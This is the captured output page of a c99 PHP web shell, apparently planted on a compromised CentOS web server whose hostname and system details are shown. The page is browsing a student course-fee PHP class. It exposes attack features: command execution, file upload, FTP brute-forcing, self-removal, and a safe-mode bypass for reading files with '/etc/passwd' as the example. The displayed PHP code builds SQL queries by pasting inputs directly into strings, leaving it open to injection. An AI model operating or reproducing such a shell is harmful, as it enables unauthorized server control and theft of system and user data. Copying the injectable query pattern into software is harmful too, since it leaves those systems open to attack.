!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/class/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsCourseFee.php (1.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage/class/clsCourseFee.php
Size 1.07 KB
MD5 8c5ce7416b31c3e302351e6e3b452e0d
Owner/Group apache/apache
Perms-rw-r--r--
Create time 03/07/2013 18:31:17
Access time 11/07/2024 17:50:36
MODIFY time 01/12/2005 09:18:42

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
3C 3F 70 68 70 0A 2F 2F 2D 2D 43 6C 61 73 73 20 43 6F 75 72 73 65 46 65
65 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 0A 0A 69 6E 63 6C 75 64 65 5F 6F 6E 63 65 20 22 63 6C 73 62 61
73 65 5F 43 6F 75 72 73 65 46 65 65 2E 70 68 70 22 3B 0A 0A 63 6C 61 73
73 20 43 6F 75 72 73 65 46 65 65 20 65 78 74 65 6E 64 73 20 62 61 73 65
5F 43 6F 75 72 73 65 46 65 65 7B 0A 0A 66 75 6E 63 74 69 6F 6E 20 52 53
43 6F 75 72 73 65 46 65 65 42 79 53 74 49 64 41 6E 64 41 63 59 41 6E 64
53 65 28 24 78 4B 65 79 2C 20 24 79 4B 65 79 2C 20 24 7A 4B 65 79 29 7B
0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63
74 20 2A 20 66 72 6F 6D 20 43 6F 75 72 73 65 46 65 65 20 77 68 65 72 65
20 73 74 75 64 65 6E 74 49 64 3D 27 24 78 4B 65 79 27 20 61 6E 64 20 61
63 61 64 59 65 61 72 3D 27 24 79 4B 65 79 27 20 61 6E 64 20 73 65 6D 65
73 74 65 72 3D 27 24 7A 4B 65 79 27 22 29 3B 0A 7D 0A 0A 66 75 6E 63 74
69 6F 6E 20 47 65 74 53 75 6D 4C 63 46 65 65 42 79 53 74 49 64 41 6E 64
41 63 59 41 6E 64 53 65 28 24 78 4B 65 79 2C 20 24 79 4B 65 79 2C 20 24
7A 4B 65 79 29 7B 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28
22 73 65 6C 65 63 74 20 73 75 6D 28 6C 63 46 65 65 29 20 61 73 20 6E 75
6D 20 66 72 6F 6D 20 43 6F 75 72 73 65 46 65 65 20 77 68 65 72 65 20 73
74 75 64 65 6E 74 49 64 3D 27 24 78 4B 65 79 27 20 61 6E 64 20 61 63 61
64 59 65 61 72 3D 27 24 79 4B 65 79 27 20 61 6E 64 20 73 65 6D 65 73 74
65 72 3D 27 24 7A 4B 65 79 27 22 29 3B 0A 09 69 66 20 28 24 72 65 73 75
6C 74 3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C 74 28 29 29 20 7B
0A 09 09 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 5B 27 6E 75 6D 27 5D
3B 0A 09 7D 0A 7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 47 65 74 53 75 6D 4C
62 46 65 65 42 79 53 74 49 64 41 6E 64 41 63 59 41 6E 64 53 65 28 24 78
4B 65 79 2C 20 24 79 4B 65 79 2C 20 24 7A 4B 65 79 29 7B 0A 09 24 74 68
69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 73 75 6D
28 6C 62 46 65 65 29 20 61 73 20 6E 75 6D 20 66 72 6F 6D 20 43 6F 75 72
73 65 46 65 65 20 77 68 65 72 65 20 73 74 75 64 65 6E 74 49 64 3D 27 24
78 4B 65 79 27 20 61 6E 64 20 61 63 61 64 59 65 61 72 3D 27 24 79 4B 65
79 27 20 61 6E 64 20 73 65 6D 65 73 74 65 72 3D 27 24 7A 4B 65 79 27 22
29 3B 0A 09 69 66 20 28 24 72 65 73 75 6C 74 3D 24 74 68 69 73 2D 3E 47
65 74 52 65 73 75 6C 74 28 29 29 20 7B 0A 09 09 72 65 74 75 72 6E 20 24
72 65 73 75 6C 74 5B 27 6E 75 6D 27 5D 3B 0A 09 7D 0A 7D 0A 0A 66 75 6E
63 74 69 6F 6E 20 47 65 74 53 75 6D 4B 73 73 46 65 65 42 79 53 74 49 64
41 6E 64 41 63 59 41 6E 64 53 65 28 24 78 4B 65 79 2C 20 24 79 4B 65 79
2C 20 24 7A 4B 65 79 29 7B 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65
72 79 28 22 73 65 6C 65 63 74 20 73 75 6D 28 6B 73 73 46 65 65 29 20 61
73 20 6E 75 6D 20 66 72 6F 6D 20 43 6F 75 72 73 65 46 65 65 20 77 68 65
72 65 20 73 74 75 64 65 6E 74 49 64 3D 27 24 78 4B 65 79 27 20 61 6E 64
20 61 63 61 64 59 65 61 72 3D 27 24 79 4B 65 79 27 20 61 6E 64 20 73 65
6D 65 73 74 65 72 3D 27 24 7A 4B 65 79 27 22 29 3B 0A 09 69 66 20 28 24
72 65 73 75 6C 74 3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C 74 28
29 29 20 7B 0A 09 09 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 5B 27 6E
75 6D 27 5D 3B 0A 09 7D 0A 7D 0A 0A 7D 20 2F 2F 2D 2D 45 6E 64 20 63 6C
61 73 73 20 43 6F 75 72 73 65 46 65 65 2D 2D 0A 3F 3E 0A
<?php //--Class CourseFe
e-----------------------
---  include_once "clsba
se_CourseFee.php";  clas
s CourseFee extends base
_CourseFee{  function RS
CourseFeeByStIdAndAcYAnd
Se($xKey, $yKey, $zKey){
  $this->SetQuery("selec
t * from CourseFee where
 studentId='$xKey' and a
cadYear='$yKey' and seme
ster='$zKey'"); }  funct
ion GetSumLcFeeByStIdAnd
AcYAndSe($xKey, $yKey, $
zKey){  $this->SetQuery(
"select sum(lcFee) as nu
m from CourseFee where s
tudentId='$xKey' and aca
dYear='$yKey' and semest
er='$zKey'");  if ($resu
lt=$this->GetResult()) {
  return $result['num']
;  } }  function GetSumL
bFeeByStIdAndAcYAndSe($x
Key, $yKey, $zKey){  $th
is->SetQuery("select sum
(lbFee) as num from Cour
seFee where studentId='$
xKey' and acadYear='$yKe
y' and semester='$zKey'"
);  if ($result=$this->G
etResult()) {  return $
result['num'];  } }  fun
ction GetSumKssFeeByStId
AndAcYAndSe($xKey, $yKey
, $zKey){  $this->SetQue
ry("select sum(kssFee) a
s num from CourseFee whe
re studentId='$xKey' and
 acadYear='$yKey' and se
mester='$zKey'");  if ($
result=$this->GetResult(
)) {  return $result['n
um'];  } }  } //--End cl
ass CourseFee-- ?> 

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0118 ]--